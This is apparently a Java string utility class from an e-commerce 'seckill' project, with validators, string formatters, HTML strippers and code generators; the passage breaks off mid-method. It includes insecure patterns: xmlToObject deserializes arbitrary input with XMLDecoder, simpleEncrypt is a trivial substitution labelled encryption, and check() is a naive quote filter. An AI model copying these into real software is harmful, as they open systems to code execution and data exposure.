    "content": "package com.jun.plugin.seckill.utils;\n\nimport java.beans.XMLDecoder;\nimport java.io.BufferedInputStream;\nimport java.io.BufferedReader;\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.UnsupportedEncodingException;\nimport java.math.BigDecimal;\nimport java.net.URLDecoder;\nimport java.net.URLEncoder;\nimport java.text.DecimalFormat;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.StringUtils;\n\n/**\n * 字符串处理及转换工具类\n * \n * @author Wujun\n */\npublic class StringUtil {\n\tprivate static Pattern mobliePattern = Pattern\n\t\t\t.compile(\"^((13[\\\\d])|(14[5,7,9])|(15[^4,\\\\D])|(17[^2,4,9,\\\\D])|(18[\\\\d]))\\\\d{8}$\");\n\tprivate static Pattern emailPattern = Pattern\n\t\t\t.compile(\"^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\\\\.[a-zA-Z0-9_-]+)+$\");\n\tprivate static Pattern numericPattern = Pattern.compile(\"^[0-9\\\\-]+$\");\n\tprivate static Pattern numericStringPattern = Pattern\n\t\t\t.compile(\"^[0-9\\\\-\\\\-]+$\");\n\tprivate static Pattern floatNumericPattern = Pattern\n\t\t\t.compile(\"^[0-9\\\\-\\\\.]+$\");\n\tprivate static Pattern abcPattern = Pattern.compile(\"^[a-z|A-Z]+$\");\n\tpublic static final String splitStrPattern = \",|，|;|；|、|\\\\.|。|-|_|\\\\(|\\\\)|\\\\[|\\\\]|\\\\{|\\\\}|\\\\\\\\|/| |　|\\\"\";\n\n\tprivate static Pattern nickNamePattern = Pattern\n\t\t\t.compile(\"^[\\u4E00-\\u9FFFA-Za-z0-9_-]+$\");\n\t// 收货地址校验 -_()@？?【】[]（）{}#\n\tprivate static Pattern addressPattern = Pattern\n\t\t\t.compile(\"^[\\u4E00-\\u9FFFA-Za-z0-9/-_[ |　|,|，|;|；|:|：|*|、|\\\\.|。|\\\\-|_|\\\\(|\\\\)|\\\\（|\\\\）|\\\\?|？|\\\\[|\\\\]|【|】|\\\\{|\\\\}|\\\\#]]+$\");\n\n\t// |\\\\?|？|\\\\[|\\\\]|【|】|\\\\{|\\\\}|\\\\#\n\tpublic static void main(String[] args) {\n\t\t// System.out.println(isValidAddress(\"斯蒂芬森1212|-_()@？？？？？？？?【【@@@@@】【】】】[]（）{{}{}{}{}}#\"));\n\t\tSystem.out.println(isEmail(\"thj-1990@qq.com\"));\n\t}\n\n\t/**\n\t * 判断是否昵称\n\t * \n\t * @param src\n\t *            源字符串\n\t * @return 是否昵称的标志\n\t */\n\tpublic static boolean isNickName(String src) {\n\t\tboolean return_value = false;\n\t\tif (src != null && src.length() > 0) {\n\t\t\tMatcher m = nickNamePattern.matcher(src);\n\t\t\tif (m.find()) {\n\t\t\t\treturn_value = true;\n\t\t\t}\n\t\t}\n\t\treturn return_value;\n\t}\n\n\tpublic static boolean isValidAddress(String src) {\n\t\tboolean return_value = false;\n\t\tif (src != null && src.length() > 0) {\n\t\t\tMatcher m = addressPattern.matcher(src);\n\t\t\tif (m.find()) {\n\t\t\t\treturn_value = true;\n\t\t\t}\n\t\t}\n\t\treturn return_value;\n\t}\n\n\t/**\n\t * 判断是否数字表示\n\t * \n\t * @param src\n\t *            源字符串\n\t * @return 是否数字的标志\n\t */\n\tpublic static boolean isNumeric(String src) {\n\t\tboolean return_value = false;\n\t\tif (src != null && src.length() > 0) {\n\t\t\tMatcher m = numericPattern.matcher(src);\n\t\t\tif (m.find()) {\n\t\t\t\treturn_value = true;\n\t\t\t}\n\t\t}\n\t\treturn return_value;\n\t}\n\n\t/**\n\t * 判断是否数字表示\n\t * \n\t * @param src\n\t *            源字符串\n\t * @return 是否数字的标志\n\t */\n\tpublic static boolean isNumericString(String src) {\n\t\tboolean return_value = false;\n\t\tif (src != null && src.length() > 0) {\n\t\t\tMatcher m = numericStringPattern.matcher(src);\n\t\t\tif (m.find()) {\n\t\t\t\treturn_value = true;\n\t\t\t}\n\t\t}\n\t\treturn return_value;\n\t}\n\n\tpublic static boolean isLongString(String src) {\n\t\tboolean return_value = false;\n\t\ttry {\n\t\t\tLong l = Long.parseLong(src);\n\t\t\tif (null != l && l > 0) {\n\t\t\t\treturn_value = true;\n\t\t\t}\n\t\t} catch (NumberFormatException e) {\n\t\t}\n\t\treturn return_value;\n\t}\n\n\t/**\n\t * 判断是否纯字母组合\n\t * \n\t * @param src\n\t *            源字符串\n\t * @return 是否纯字母组合的标志\n\t */\n\tpublic static boolean isABC(String src) {\n\t\tboolean return_value = false;\n\t\tif (src != null && src.length() > 0) {\n\t\t\tMatcher m = abcPattern.matcher(src);\n\t\t\tif (m.find()) {\n\t\t\t\treturn_value = true;\n\t\t\t}\n\t\t}\n\t\treturn return_value;\n\t}\n\n\t/**\n\t * 判断是否浮点数字表示\n\t * \n\t * @param src\n\t *            源字符串\n\t * @return 是否数字的标志\n\t */\n\tpublic static boolean isFloatNumeric(String src) {\n\t\tboolean return_value = false;\n\t\tif (src != null && src.length() > 0) {\n\t\t\tMatcher m = floatNumericPattern.matcher(src);\n\t\t\tif (m.find()) {\n\t\t\t\treturn_value = true;\n\t\t\t}\n\t\t}\n\t\treturn return_value;\n\t}\n\n\t/**\n\t * 把string array or list用给定的符号symbol连接成一个字符串\n\t * \n\t * @param array\n\t * @param symbol\n\t * @return\n\t */\n\tpublic static String joinString(List array, String symbol) {\n\t\tString result = \"\";\n\t\tif (array != null) {\n\t\t\tfor (int i = 0; i < array.size(); i++) {\n\t\t\t\tString temp = array.get(i).toString();\n\t\t\t\tif (temp != null && temp.trim().length() > 0)\n\t\t\t\t\tresult += (temp + symbol);\n\t\t\t}\n\t\t\tif (result.length() > 1)\n\t\t\t\tresult = result.substring(0, result.length() - 1);\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic static String subStringNotEncode(String subject, int size) {\n\t\tif (subject != null && subject.length() > size) {\n\t\t\tsubject = subject.substring(0, size) + \"...\";\n\t\t}\n\t\treturn subject;\n\t}\n\n\t/**\n\t * 截取字符串　超出的字符用symbol代替 　　\n\t * \n\t * @param len\n\t *            　字符串长度　长度计量单位为一个GBK汉字　　两个英文字母计算为一个单位长度\n\t * @param str\n\t * @param symbol\n\t * @return\n\t */\n\tpublic static String getLimitLengthString(String str, int len, String symbol) {\n\t\tint iLen = len * 2;\n\t\tint counterOfDoubleByte = 0;\n\t\tString strRet = \"\";\n\t\ttry {\n\t\t\tif (str != null) {\n\t\t\t\tbyte[] b = str.getBytes(\"GBK\");\n\t\t\t\tif (b.length <= iLen) {\n\t\t\t\t\treturn str;\n\t\t\t\t}\n\t\t\t\tfor (int i = 0; i < iLen; i++) {\n\t\t\t\t\tif (b[i] < 0) {\n\t\t\t\t\t\tcounterOfDoubleByte++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (counterOfDoubleByte % 2 == 0) {\n\t\t\t\t\tstrRet = new String(b, 0, iLen, \"GBK\") + symbol;\n\t\t\t\t\treturn strRet;\n\t\t\t\t} else {\n\t\t\t\t\tstrRet = new String(b, 0, iLen - 1, \"GBK\") + symbol;\n\t\t\t\t\treturn strRet;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn \"\";\n\t\t\t}\n\t\t} catch (Exception ex) {\n\t\t\treturn str.substring(0, len);\n\t\t} finally {\n\t\t\tstrRet = null;\n\t\t}\n\t}\n\n\t/**\n\t * 截取字符串　超出的字符用symbol代替 　　\n\t * \n\t * @param len\n\t *            　字符串长度　长度计量单位为一个GBK汉字　　两个英文字母计算为一个单位长度\n\t * @param str\n\t * @param symbol\n\t * @return12\n\t */\n\tpublic static String getLimitLengthString(String str, int len) {\n\t\treturn getLimitLengthString(str, len, \"...\");\n\t}\n\n\t/**\n\t * \n\t * 截取字符，不转码\n\t * \n\t * @param subject\n\t * @param size\n\t * @return\n\t */\n\tpublic static String subStrNotEncode(String subject, int size) {\n\t\tif (subject.length() > size) {\n\t\t\tsubject = subject.substring(0, size);\n\t\t}\n\t\treturn subject;\n\t}\n\n\t/**\n\t * 把string array or list用给定的符号symbol连接成一个字符串\n\t * \n\t * @param array\n\t * @param symbol\n\t * @return\n\t */\n\tpublic static String joinString(String[] array, String symbol) {\n\t\tString result = \"\";\n\t\tif (array != null) {\n\t\t\tfor (int i = 0; i < array.length; i++) {\n\t\t\t\tString temp = array[i];\n\t\t\t\tif (temp != null && temp.trim().length() > 0)\n\t\t\t\t\tresult += (temp + symbol);\n\t\t\t}\n\t\t\tif (result.length() > 1)\n\t\t\t\tresult = result.substring(0, result.length() - 1);\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * 取得字符串的实际长度（考虑了汉字的情况）\n\t * \n\t * @param SrcStr\n\t *            源字符串\n\t * @return 字符串的实际长度\n\t */\n\tpublic static int getStringLen(String SrcStr) {\n\t\tint return_value = 0;\n\t\tif (SrcStr != null) {\n\t\t\tchar[] theChars = SrcStr.toCharArray();\n\t\t\tfor (int i = 0; i < theChars.length; i++) {\n\t\t\t\treturn_value += (theChars[i] <= 255) ? 1 : 2;\n\t\t\t}\n\t\t}\n\t\treturn return_value;\n\t}\n\n\t/**\n\t * 检查数据串中是否包含非法字符集\n\t * \n\t * @param str\n\t * @return [true]|[false] 包含|不包含\n\t */\n\tpublic static boolean check(String str) {\n\t\tString sIllegal = \"'\\\"\";\n\t\tint len = sIllegal.length();\n\t\tif (null == str)\n\t\t\treturn false;\n\t\tfor (int i = 0; i < len; i++) {\n\t\t\tif (str.indexOf(sIllegal.charAt(i)) != -1)\n\t\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t/***************************************************************************\n\t * getHideEmailPrefix - 隐藏邮件地址前缀。\n\t * \n\t * @param email\n\t *            - EMail邮箱地址 例如: linwenguo@koubei.com 等等...\n\t * @return 返回已隐藏前缀邮件地址, 如 *********@koubei.com.\n\t * @version 1.0 (2006.11.27) Wilson Lin\n\t **************************************************************************/\n\tpublic static String getHideEmailPrefix(String email) {\n\t\tif (null != email) {\n\t\t\tint index = email.lastIndexOf('@');\n\t\t\tif (index > 0) {\n\t\t\t\temail = repeat(\"*\", index).concat(email.substring(index));\n\t\t\t}\n\t\t}\n\t\treturn email;\n\t}\n\n\t/***************************************************************************\n\t * repeat - 通过源字符串重复生成N次组成新的字符串。\n\t * \n\t * @param src\n\t *            - 源字符串 例如: 空格(\" \"), 星号(\"*\"), \"浙江\" 等等...\n\t * @param num\n\t *            - 重复生成次数\n\t * @return 返回已生成的重复字符串\n\t * @version 1.0 (2006.10.10) Wilson Lin\n\t **************************************************************************/\n\tpublic static String repeat(String src, int num) {\n\t\tStringBuffer s = new StringBuffer();\n\t\tfor (int i = 0; i < num; i++)\n\t\t\ts.append(src);\n\t\treturn s.toString();\n\t}\n\n\t/**\n\t * 根据指定的字符把源字符串分割成一个数组\n\t * \n\t * @param src\n\t * @return\n\t */\n\tpublic static List<String> parseString2ListByCustomerPattern(\n\t\t\tString pattern, String src) {\n\n\t\tif (src == null)\n\t\t\treturn null;\n\t\tList<String> list = new ArrayList<String>();\n\t\tString[] result = src.split(pattern);\n\t\tfor (int i = 0; i < result.length; i++) {\n\t\t\tlist.add(result[i]);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * 根据指定的字符把源字符串分割成一个数组\n\t * \n\t * @param src\n\t * @return\n\t */\n\tpublic static List<String> parseString2ListByPattern(String src) {\n\t\tString pattern = \"，|,|、|。\";\n\t\treturn parseString2ListByCustomerPattern(pattern, src);\n\t}\n\n\t/**\n\t * 格式化一个float\n\t * \n\t * @param format\n\t *            要格式化成的格式 such as #.00, #.#\n\t */\n\n\tpublic static String formatFloat(float f, String format) {\n\t\tDecimalFormat df = new DecimalFormat(format);\n\t\treturn df.format(f);\n\t}\n\n\t/**\n\t * 判断是否是空字符串 null和\"\" 都返回 true\n\t * \n\t * @author Wujun\n\t * @param s\n\t * @return\n\t */\n\tpublic static boolean isEmpty(String s) {\n\t\tif (s != null && !s.equals(\"\")) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\n\t/**\n\t * 自定义的分隔字符串函数 例如: 1,2,3 =>[1,2,3] 3个元素 ,2,3=>[,2,3] 3个元素 ,2,3,=>[,2,3,]\n\t * 4个元素 ,,,=>[,,,] 4个元素\n\t * \n\t * 5.22算法修改，为提高速度不用正则表达式 两个间隔符,,返回\"\"元素\n\t * \n\t * @param split\n\t *            分割字符 默认,\n\t * @param src\n\t *            输入字符串\n\t * @return 分隔后的list\n\t * @author Wujun\n\t */\n\tpublic static List<String> splitToList(String split, String src) {\n\t\t// 默认,\n\t\tString sp = \",\";\n\t\tif (split != null && split.length() == 1) {\n\t\t\tsp = split;\n\t\t}\n\t\tList<String> r = new ArrayList<String>();\n\t\tint lastIndex = -1;\n\t\tint index = src.indexOf(sp);\n\t\tif (-1 == index && src != null) {\n\t\t\tr.add(src);\n\t\t\treturn r;\n\t\t}\n\t\twhile (index >= 0) {\n\t\t\tif (index > lastIndex) {\n\t\t\t\tr.add(src.substring(lastIndex + 1, index));\n\t\t\t} else {\n\t\t\t\tr.add(\"\");\n\t\t\t}\n\n\t\t\tlastIndex = index;\n\t\t\tindex = src.indexOf(sp, index + 1);\n\t\t\tif (index == -1) {\n\t\t\t\tr.add(src.substring(lastIndex + 1, src.length()));\n\t\t\t}\n\t\t}\n\t\treturn r;\n\t}\n\n\t/**\n\t * 把 名=值 参数表转换成字符串 (a=1,b=2 =>a=1&b=2)\n\t * \n\t * @param map\n\t * @return\n\t */\n\tpublic static String linkedHashMapToString(LinkedHashMap<String, String> map) {\n\t\tif (map != null && map.size() > 0) {\n\t\t\tString result = \"\";\n\t\t\tIterator it = map.keySet().iterator();\n\t\t\twhile (it.hasNext()) {\n\t\t\t\tString name = (String) it.next();\n\t\t\t\tString value = (String) map.get(name);\n\t\t\t\tresult += (result.equals(\"\")) ? \"\" : \"&\";\n\t\t\t\tresult += String.format(\"%s=%s\", name, value);\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 解析字符串返回 名称=值的参数表 (a=1&b=2 => a=1,b=2)\n\t * \n\t * @see test.koubei.util.StringUtilTest#testParseStr()\n\t * @param str\n\t * @return\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static LinkedHashMap<String, String> toLinkedHashMap(String str) {\n\t\tif (str != null && !str.equals(\"\") && str.indexOf(\"=\") > 0) {\n\t\t\tLinkedHashMap result = new LinkedHashMap();\n\n\t\t\tString name = null;\n\t\t\tString value = null;\n\t\t\tint i = 0;\n\t\t\twhile (i < str.length()) {\n\t\t\t\tchar c = str.charAt(i);\n\t\t\t\tswitch (c) {\n\t\t\t\tcase 61: // =\n\t\t\t\t\tvalue = \"\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase 38: // &\n\t\t\t\t\tif (name != null && value != null && !name.equals(\"\")) {\n\t\t\t\t\t\tresult.put(name, value);\n\t\t\t\t\t}\n\t\t\t\t\tname = null;\n\t\t\t\t\tvalue = null;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tif (value != null) {\n\t\t\t\t\t\tvalue = (value != null) ? (value + c) : \"\" + c;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tname = (name != null) ? (name + c) : \"\" + c;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ti++;\n\n\t\t\t}\n\n\t\t\tif (name != null && value != null && !name.equals(\"\")) {\n\t\t\t\tresult.put(name, value);\n\t\t\t}\n\n\t\t\treturn result;\n\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 根据输入的多个解释和下标返回一个值\n\t * \n\t * @param captions\n\t *            例如:\"无,爱干净,一般,比较乱\"\n\t * @param index\n\t *            1\n\t * @return 一般\n\t */\n\tpublic static String getCaption(String captions, int index) {\n\t\tif (index > 0 && captions != null && !captions.equals(\"\")) {\n\t\t\tString[] ss = captions.split(\",\");\n\t\t\tif (ss != null && ss.length > 0 && index < ss.length) {\n\t\t\t\treturn ss[index];\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 数字转字符串,如果num<=0 则输出\"\";\n\t * \n\t * @param num\n\t * @return\n\t */\n\tpublic static String numberToString(Object num) {\n\t\tif (num == null) {\n\t\t\treturn null;\n\t\t} else if (num instanceof Integer && (Integer) num > 0) {\n\t\t\treturn Integer.toString((Integer) num);\n\t\t} else if (num instanceof Long && (Long) num > 0) {\n\t\t\treturn Long.toString((Long) num);\n\t\t} else if (num instanceof Float && (Float) num > 0) {\n\t\t\treturn Float.toString((Float) num);\n\t\t} else if (num instanceof Double && (Double) num > 0) {\n\t\t\treturn Double.toString((Double) num);\n\t\t} else {\n\t\t\treturn \"\";\n\t\t}\n\t}\n\n\t/**\n\t * 货币转字符串\n\t * \n\t * @param money\n\t * @param style\n\t *            样式 [default]要格式化成的格式 such as #.00, #.#\n\t * @return\n\t */\n\n\tpublic static String moneyToString(Object money, String style) {\n\t\tif (money != null && style != null\n\t\t\t\t&& (money instanceof Double || money instanceof Float)) {\n\t\t\tDouble num = (Double) money;\n\n\t\t\tif (style.equalsIgnoreCase(\"default\")) {\n\t\t\t\t// 缺省样式 0 不输出 ,如果没有输出小数位则不输出.0\n\t\t\t\tif (num == 0) {\n\t\t\t\t\t// 不输出0\n\t\t\t\t\treturn \"\";\n\t\t\t\t} else if ((num * 10 % 10) == 0) {\n\t\t\t\t\t// 没有小数\n\t\t\t\t\treturn Integer.toString((int) num.intValue());\n\t\t\t\t} else {\n\t\t\t\t\t// 有小数\n\t\t\t\t\treturn num.toString();\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tDecimalFormat df = new DecimalFormat(style);\n\t\t\t\treturn df.format(num);\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 在sou中是否存在finds 如果指定的finds字符串有一个在sou中找到,返回true;\n\t * \n\t * @param sou\n\t * @param find\n\t * @return\n\t */\n\tpublic static boolean strPos(String sou, String... finds) {\n\t\tif (sou != null && finds != null && finds.length > 0) {\n\t\t\tfor (int i = 0; i < finds.length; i++) {\n\t\t\t\tif (sou.indexOf(finds[i]) > -1)\n\t\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tpublic static boolean strPos(String sou, List<String> finds) {\n\t\tif (sou != null && finds != null && finds.size() > 0) {\n\t\t\tfor (String s : finds) {\n\t\t\t\tif (sou.indexOf(s) > -1)\n\t\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tpublic static boolean strPos(String sou, String finds) {\n\t\tList<String> t = splitToList(\",\", finds);\n\t\treturn strPos(sou, t);\n\t}\n\n\t/**\n\t * 判断两个字符串是否相等 如果都为null则判断为相等,一个为null另一个not null则判断不相等 否则如果s1=s2则相等\n\t * \n\t * @param s1\n\t * @param s2\n\t * @return\n\t */\n\tpublic static boolean equals(String s1, String s2) {\n\t\tif (StringUtil.isEmpty(s1) && StringUtil.isEmpty(s2)) {\n\t\t\treturn true;\n\t\t} else if (!StringUtil.isEmpty(s1) && !StringUtil.isEmpty(s2)) {\n\t\t\treturn s1.equals(s2);\n\t\t}\n\t\treturn false;\n\t}\n\n\tpublic static int toInt(String s) {\n\t\tif (s != null && !\"\".equals(s.trim())) {\n\t\t\ttry {\n\t\t\t\treturn Integer.parseInt(s);\n\t\t\t} catch (Exception e) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t\treturn 0;\n\t}\n\n\tpublic static double toDouble(String s) {\n\t\tif (s != null && !\"\".equals(s.trim())) {\n\t\t\treturn Double.parseDouble(s);\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/**\n\t * 把xml 转为object\n\t * \n\t * @param xml\n\t * @return\n\t */\n\tpublic static Object xmlToObject(String xml) {\n\t\ttry {\n\t\t\tByteArrayInputStream in = new ByteArrayInputStream(\n\t\t\t\t\txml.getBytes(\"UTF8\"));\n\t\t\tXMLDecoder decoder = new XMLDecoder(new BufferedInputStream(in));\n\t\t\treturn decoder.readObject();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static long toLong(String s) {\n\t\ttry {\n\t\t\tif (s != null && !\"\".equals(s.trim()))\n\t\t\t\treturn Long.parseLong(s);\n\t\t} catch (Exception exception) {\n\t\t}\n\t\treturn 0L;\n\t}\n\n\tpublic static String simpleEncrypt(String str) {\n\t\tif (str != null && str.length() > 0) {\n\t\t\t// str = str.replaceAll(\"0\",\"a\");\n\t\t\tstr = str.replaceAll(\"1\", \"b\");\n\t\t\t// str = str.replaceAll(\"2\",\"c\");\n\t\t\tstr = str.replaceAll(\"3\", \"d\");\n\t\t\t// str = str.replaceAll(\"4\",\"e\");\n\t\t\tstr = str.replaceAll(\"5\", \"f\");\n\t\t\tstr = str.replaceAll(\"6\", \"g\");\n\t\t\tstr = str.replaceAll(\"7\", \"h\");\n\t\t\tstr = str.replaceAll(\"8\", \"i\");\n\t\t\tstr = str.replaceAll(\"9\", \"j\");\n\t\t}\n\t\treturn str;\n\n\t}\n\n\t/**\n\t * 过滤用户输入的URL地址（防治用户广告） 目前只针对以http或www开头的URL地址\n\t * 本方法调用的正则表达式，不建议用在对性能严格的地方例如:循环及list页面等\n\t * \n\t * @author Wujun\n\t * @param str\n\t *            需要处理的字符串\n\t * @return 返回处理后的字符串\n\t */\n\tpublic static String removeURL(String str) {\n\t\tif (str != null)\n\t\t\tstr = str.toLowerCase()\n\t\t\t\t\t.replaceAll(\"(http|www|com|cn|org|\\\\.)+\", \"\");\n\t\treturn str;\n\t}\n\n\t/**\n\t * 随即生成指定位数的含数字验证码字符串\n\t * \n\t * @author Wujun\n\t * @date 2007-5-9\n\t * @param bit\n\t *            指定生成验证码位数\n\t * @return String\n\t */\n\tpublic static String numRandom(int bit) {\n\t\tif (bit == 0)\n\t\t\tbit = 6; // 默认6位\n\t\tString str = \"\";\n\t\tstr = \"0123456789\";// 初始化种子\n\t\treturn RandomStringUtils.random(bit, str);// 返回6位的字符串\n\t}\n\n\t/**\n\t * 随即生成指定位数的含验证码字符串\n\t * \n\t * @author Wujun\n\t * \n\t * @date 2007-5-9\n\t * @param bit\n\t *            指定生成验证码位数\n\t * @return String\n\t */\n\tpublic static String random(int bit) {\n\t\tif (bit == 0)\n\t\t\tbit = 6; // 默认6位\n\t\t// 因为o和0,l和1很难区分,所以,去掉大小写的o和l\n\t\tString str = \"\";\n\t\tstr = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz\";// 初始化种子\n\t\treturn RandomStringUtils.random(bit, str);// 返回6位的字符串\n\t}\n\n\tpublic static String vailCode(int bit) {\n\t\tif (bit == 0)\n\t\t\tbit = 6; // 默认6位\n\t\t// 因为o和0,l和1很难区分,所以,去掉大小写的o和l\n\t\tString str = \"\";\n\t\tstr = \"0123456789\";// 初始化种子\n\t\treturn RandomStringUtils.random(bit, str);// 返回6位的字符串\n\t}\n\n\t/**\n\t * Wap页面的非法字符检查\n\t * \n\t * @author Wujun\n\t * @date 2007-06-29\n\t * @param str\n\t * @return\n\t */\n\tpublic static String replaceWapStr(String str) {\n\t\tif (str != null) {\n\t\t\tstr = str.replaceAll(\"<span class=\\\"keyword\\\">\", \"\");\n\t\t\tstr = str.replaceAll(\"</span>\", \"\");\n\t\t\tstr = str.replaceAll(\"<strong class=\\\"keyword\\\">\", \"\");\n\t\t\tstr = str.replaceAll(\"<strong>\", \"\");\n\t\t\tstr = str.replaceAll(\"</strong>\", \"\");\n\n\t\t\tstr = str.replace('$', '＄');\n\n\t\t\tstr = str.replaceAll(\"&amp;\", \"＆\");\n\t\t\tstr = str.replace('&', '＆');\n\n\t\t\tstr = str.replace('<', '＜');\n\n\t\t\tstr = str.replace('>', '＞');\n\n\t\t}\n\t\treturn str;\n\t}\n\n\t/**\n\t * 字符串转float 如果异常返回0.00\n\t * \n\t * @param s\n\t *            输入的字符串\n\t * @return 转换后的float\n\t */\n\tpublic static Float toFloat(String s) {\n\t\ttry {\n\t\t\treturn Float.parseFloat(s);\n\t\t} catch (NumberFormatException e) {\n\t\t\treturn new Float(0);\n\t\t}\n\t}\n\n\t/**\n\t * 页面中去除字符串中的空格、回车、换行符、制表符\n\t * \n\t * @author Wujun\n\t * @date 2007-08-17\n\t * @param str\n\t * @return\n\t */\n\tpublic static String replaceBlank(String str) {\n\t\tif (str != null) {\n\t\t\tPattern p = Pattern.compile(\"\\\\s*|\\t|\\r|\\n\");\n\t\t\tMatcher m = p.matcher(str);\n\t\t\tstr = m.replaceAll(\"\");\n\t\t}\n\t\treturn str;\n\t}\n\n\t/**\n\t * 全角生成半角\n\t * \n\t * @author Wujun\n\t * @date 2007-08-29\n\t * @param str\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static String Q2B(String QJstr) throws Exception {\n\t\tString outStr = \"\";\n\t\tString Tstr = \"\";\n\t\tbyte[] b = null;\n\t\tfor (int i = 0; i < QJstr.length(); i++) {\n\t\t\tTstr = QJstr.substring(i, i + 1);\n\t\t\tb = Tstr.getBytes(\"unicode\");\n\t\t\tif (b[3] == -1) {\n\t\t\t\tb[2] = (byte) (b[2] + 32);\n\t\t\t\tb[3] = 0;\n\t\t\t\toutStr = outStr + new String(b, \"unicode\");\n\t\t\t} else {\n\t\t\t\toutStr = outStr + Tstr;\n\t\t\t}\n\t\t}\n\t\treturn outStr;\n\t}\n\n\t/**\n\t * \n\t * 转换编码\n\t * \n\t * @param s\n\t *            源字符串\n\t * @param fencode\n\t *            源编码格式\n\t * @param bencode\n\t *            目标编码格式\n\t * @return 目标编码\n\t */\n\tpublic static String changCoding(String s, String fencode, String bencode) {\n\t\tString str;\n\t\ttry {\n\t\t\tif (StringUtil.isNotEmpty(s)) {\n\t\t\t\tstr = new String(s.getBytes(fencode), bencode);\n\t\t\t} else {\n\t\t\t\tstr = \"\";\n\t\t\t}\n\t\t\treturn str;\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\treturn s;\n\t\t}\n\t}\n\n\t/**\n\t * @param str\n\t * @return\n\t ************************************************************************* \n\t */\n\tpublic static String removeHTMLLableExe(String str) {\n\t\tstr = stringReplace(str, \">\\\\s*<\", \"><\");\n\t\tstr = stringReplace(str, \"&nbsp;\", \" \");// 替换空格\n\t\tstr = stringReplace(str, \"<br ?/?>\", \"\\n\");// 去<br><br />\n\t\tstr = stringReplace(str, \"<([^<>]+)>\", \"\");// 去掉<>内的字符\n\t\tstr = stringReplace(str, \"\\\\s\\\\s\\\\s*\", \" \");// 将多个空白变成一个空格\n\t\tstr = stringReplace(str, \"^\\\\s*\", \"\");// 去掉头的空白\n\t\tstr = stringReplace(str, \"\\\\s*$\", \"\");// 去掉尾的空白\n\t\tstr = stringReplace(str, \" +\", \" \");\n\t\treturn str;\n\t}\n\n\t/**\n\t * 除去html标签\n\t * \n\t * @param str\n\t *            源字符串\n\t * @return 目标字符串\n\t */\n\tpublic static String removeHTMLLable(String str) {\n\t\tstr = stringReplace(str, \"\\\\s\", \"\");// 去掉页面上看不到的字符\n\t\tstr = stringReplace(str, \"<br ?/?>\", \"\\n\");// 去<br><br />\n\t\tstr = stringReplace(str, \"<([^<>]+)>\", \"\");// 去掉<>内的字符\n\t\tstr = stringReplace(str, \"&nbsp;\", \" \");// 替换空格\n\t\tstr = stringReplace(str, \"&(\\\\S)(\\\\S?)(\\\\S?)(\\\\S?);\", \"\");// 去<br><br />\n\t\treturn str;\n\t}\n\n\t/**\n\t * 去掉HTML标签之外的字符串\n\t * \n\t * @param str\n\t *            源字符串\n\t * @return 目标字符串\n\t */\n\tpublic static String removeOutHTMLLable(String str) {\n\t\tstr = stringReplace(str, \">([^<>]+)<\", \"><\");\n\t\tstr = stringReplace(str, \"^([^<>]+)<\", \"<\");\n\t\tstr = stringReplace(str, \">([^<>]+)$\", \">\");\n\t\treturn str;\n\t}\n\n\t/**\n\t * \n\t * 字符串替换\n\t * \n\t * @param str\n\t *            源字符串\n\t * @param sr\n\t *            正则表达式样式\n\t * @param sd\n\t *            替换文本\n\t * @return 结果串\n\t */\n\tpublic static String stringReplace(String str, String sr, String sd) {\n\t\tString regEx = sr;\n\t\tPattern p = Pattern.compile(regEx, Pattern.CASE_INSENSITIVE);\n\t\tMatcher m = p.matcher(str);\n\t\tstr = m.replaceAll(sd);\n\t\treturn str;\n\t}\n\n\t/**\n\t * \n\t * 将html的省略写法替换成非省略写法\n\t * \n\t * @param str\n\t *            html字符串\n\t * @param pt\n\t *            标签如table\n\t * @return 结果串\n\t */\n\tpublic static String fomateToFullForm(String str, String pt) {\n\t\tString regEx = \"<\" + pt + \"\\\\s+([\\\\S&&[^<>]]*)/>\";\n\t\tPattern p = Pattern.compile(regEx, Pattern.CASE_INSENSITIVE);\n\t\tMatcher m = p.matcher(str);\n\t\tString[] sa = null;\n\t\tString sf = \"\";\n\t\tString sf2 = \"\";\n\t\tString sf3 = \"\";\n\t\tfor (; m.find();) {\n\t\t\tsa = p.split(str);\n\t\t\tif (sa == null) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tsf = str.substring(sa[0].length(),\n\t\t\t\t\tstr.indexOf(\"/>\", sa[0].length()));\n\t\t\tsf2 = 